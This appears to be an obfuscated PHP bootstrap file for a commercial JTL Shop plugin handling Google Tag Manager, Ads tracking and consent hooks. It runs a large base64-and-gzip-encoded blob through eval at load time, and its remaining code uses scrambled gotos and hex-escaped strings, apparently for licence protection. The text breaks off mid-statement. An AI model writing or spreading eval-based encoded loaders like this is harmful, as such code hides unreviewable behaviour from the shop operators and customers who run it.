declare(strict_types=1);
eval(str_replace(base64_decode('ZGVjbGFyZSAoc3RyaWN0X3R5cGVzPTEpOw=='),'',gzinflate(base64_decode("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"))));
declare(strict_types=1);
namespace Plugin\netzdingeDE_google_codes; use Plugin\netzdingeDE_google_codes\src\Backend\PluginHelper; use Plugin\netzdingeDE_google_codes\licence\PluginLicence; use Plugin\netzdingeDE_google_codes\src\Backend\Functions; use JTL\Shop; use JTL\Plugin\Bootstrapper; use JTL\Events\Dispatcher; use JTL\Alert\Alert; use JTL\Consent\Item; use JTL\Backend\Notification; use JTL\Backend\NotificationEntry; use JTL\Update\DBMigrationHelper; use JTL\Smarty\JTLSmarty; use JTL\Minify\MinifyService; class Bootstrap extends Bootstrapper { private static $PluginHelper; public function boot(Dispatcher $dispatcher) { goto xjEj4; gr5pK: BEhnt: goto XBRFj; hdYf3: if (!(self::$PluginHelper->settings["\143\x43\157\157\153\x69\x65\123\145\162\166\151\x63\145"] === "\112\x54\114" || self::$PluginHelper->settings["\x63\x43\x6f\x6f\153\151\145\123\145\x72\166\151\143\145"] === "\127\123")) { goto JX3WM; } goto fWeke; kjtr_: if (!(self::$PluginHelper->shopVersionAllowed($excludeShopVersion_arr) && self::$PluginHelper->checkNoChanges() && self::$PluginHelper->showOnURL() && self::$PluginHelper->showOnURL())) { goto wPb72; } goto CXjNr; SEBba: $alertHelper->addAlert(Alert::TYPE_DANGER, "\x3c\163\x70\141\x6e\40\x73\x74\x79\x6c\x65\x3d\x22\143\x6f\154\x6f\x72\x3a\43\x66\x66\146\73\x22\x3e\105\163\x20\147\x69\142\164\x20\145\x69\x6e\x20\120\162\157\x62\x6c\145\155\x20\155\151\x74\x20\144\x65\x72\40\114\x69\172\x65\156\163\151\x65\162\x75\156\x67\x20\x64\145\163\40\120\154\x75\147\151\x6e\x73\x20\42" . $this->getPlugin()->getPluginID() . "\42\54\40\x64\141\163\40\120\x6c\x75\x67\x69\156\x20\167\151\162\144\40\x6e\x69\x63\x68\164\40\x6b\x6f\x72\162\x65\x6b\164\x20\x66\x75\156\x6b\164\x69\157\156\151\145\162\x65\x6e\56\x20\127\145\151\164\x65\162\x65\x20\111\156\146\157\162\155\x61\164\151\x6f\x6e\x65\156\40\146\151\156\144\145\156\40\x53\151\x65\40\x69\156\40\144\145\x6e\x20\120\154\165\x67\x69\x6e\145\x69\156\163\x74\x65\x6c\x6c\x75\156\x67\x65\x6e\40\151\155\x20\122\145\x69\164\x65\162\40\x22\x53\x74\x61\164\165\163\41\40\74\151\x20\143\x6c\141\163\x73\x3d\x22\146\x61\40\146\x61\x2d\145\x78\x74\145\x72\156\141\x6c\55\154\151\156\x6b\x22\x3e\x3c\57\x69\x3e\74\142\162\x3e\50\104\151\145\163\x65\40\x4d\145\154\x64\165\x6e\x67\x20\x76\x65\x72\163\x63\150\x77\x69\x6e\x64\x65\x74\40\x61\165\164\x6f\155\141\x74\151\163\143\150\54\x20\x77\145\x6e\156\40\x64\x61\163\40\x50\162\157\142\x6c\x65\x6d\x20\147\145\154\xc3\266\163\164\x20\x69\163\x74\x20\x6f\x64\x65\x72\x20\x53\x69\145\40\x64\141\x73\40\120\154\x75\x67\x69\x6e\x20\x64\145\x61\x6b\x74\151\x76\x69\145\x72\145\x6e\56\x29\x3c\57\x73\160\x61\x6e\x3e", "\165\x70\144\141\x74\145\x69\x6e\146\157", ["\163\x61\x76\145\x49\x6e\123\145\163\x73\151\157\156" => true, "\x64\x69\x73\155\x69\163\163\141\x62\154\145" => true, "\154\x69\x6e\153\110\x72\145\x66" => self::$PluginHelper->getPluginAdminLink("\143\x50\154\165\147\151\156\x54\x61\x62\x3d\123\x74\141\x74\x75\163"), "\163\x68\x6f\167\111\x6e\x41\154\x65\162\x74\114\151\x73\164\x54\x65\155\160\x6c\141\164\145" => true]); goto AZeud; b_rdH: $excludeShopVersion_arr = ["\65\x2e\x37\56\60"]; goto j64uD; OcXkz: if (!((null === $this->getPlugin()->getMeta()->getExsID() || empty($this->getPlugin()->getMeta()->getExsID())) && is_object(self::$PluginHelper->oStatus) && !empty(self::$PluginHelper->oStatus->cPluginVersion) && $this->getPlugin()->getMeta()->getVersion() != self::$PluginHelper->oStatus->cPluginVersion)) { goto mA3b2; } goto zVoN2; dHJ8z: $dispatcher->listen("\163\150\157\x70\x2e\x68\x6f\157\x6b\56" . 320, [$this, "\x61\144\144\x43\157\x6e\x73\x65\x6e\164\107\124\115"]); goto KwC0x; AZeud: kBtAW: goto zQg7g; ylKaE: $PluginLicence = new PluginLicence(); goto QZtdy; h4YGT: if (!($logeintrag = self::$PluginHelper->dbSelectSingleRow("\164\152\164\154\154\157\147", "\x63\113\145\x79", $this->getPlugin()->getPluginID()))) { goto BEhnt; } goto yeoW4; mFxi_: xwQ2q: goto XUUKv; VNo3s: if (!((null === $this->getPlugin()->getMeta()->getExsID() || empty($this->getPlugin()->getMeta()->getExsID())) && is_object(self::$PluginHelper->oStatus) && !empty(self::$PluginHelper->oStatus->cLizenzfehler) && !empty(self::$PluginHelper->oStatus->cLizenzfehlerFestgestellt))) { goto kBtAW; } goto P_T4r; bpXCB: return; goto URAe0; QwJ3o: OGKFU: goto kGgej; b4As9: if (!(self::$PluginHelper->settings["\x63\x54\141\x67\x4d\x61\156\141\x67\x65\162\103\157\157\153\151\145\x5a\x77\145\143\153"] !== "\x65\x73\x73\145\x6e\x74\151\x61\154" && self::$PluginHelper->settings["\x62\x47\x6f\157\x67\154\x65\124\141\x67\115\x61\156\x61\147\x65\162\x44\141\x74\x61\x4c\x61\171\145\x72"] !== "\157\156\154\171")) { goto FQb51; } goto dHJ8z; nIPN7: if (!(self::$PluginHelper->settings["\142\x47\x6f\x6f\147\154\x65\x54\x61\x67\115\x61\156\x61\x67\145\162\103\157\x6e\x73\145\x6e\x74\x41\x64\167\157\x72\144\x73"] === "\157\156" && self::$PluginHelper->settings["\x62\125\x73\145\x47\157\157\x67\154\145\101\x64\163\x43\x6f\156\166\145\162\163\x69\x6f\156\x54\x72\141\143\x6b\x69\x6e\x67"] !== "\x6f\156")) { goto OGKFU; } goto rveBC; CXjNr: $hook_arr = array(45 => "\x34\65", 140 => "\61\x34\60", 207 => "\62\x30\x37"); goto KqXsn; EdLtP: if (!(self::$PluginHelper->settings["\142\125\x73\145\107\x6f\x6f\147\154\145\101\x64\x73\103\157\156\x76\x65\162\163\x69\x6f\156\x54\162\141\143\x6b\x69\x6e\147"] === "\x6f\x6e")) { goto iNl_y; } goto g0EDR; fWeke: if (!(self::$PluginHelper->settings["\142\125\163\145\107\101\64"] === "\x6f\x6e")) { goto awsFJ; } goto YVwfa; w5gFL: if (!(!self::$PluginHelper->checkNoChanges() || !empty(self::$PluginHelper->oStatus->cLizenzfehler))) { goto Vj9NR; } goto Ofj1L; svO6_: j2Bqw: goto ILs93; DXUh9: OZqvx: goto nIPN7; BY5vh: self::$PluginHelper = new PluginHelper($this->getPlugin()); goto mFxi_; GXJ1i: $dispatcher->listen("\163\x68\x6f\160\56\150\157\157\153\x2e" . $hook, function (array $args) 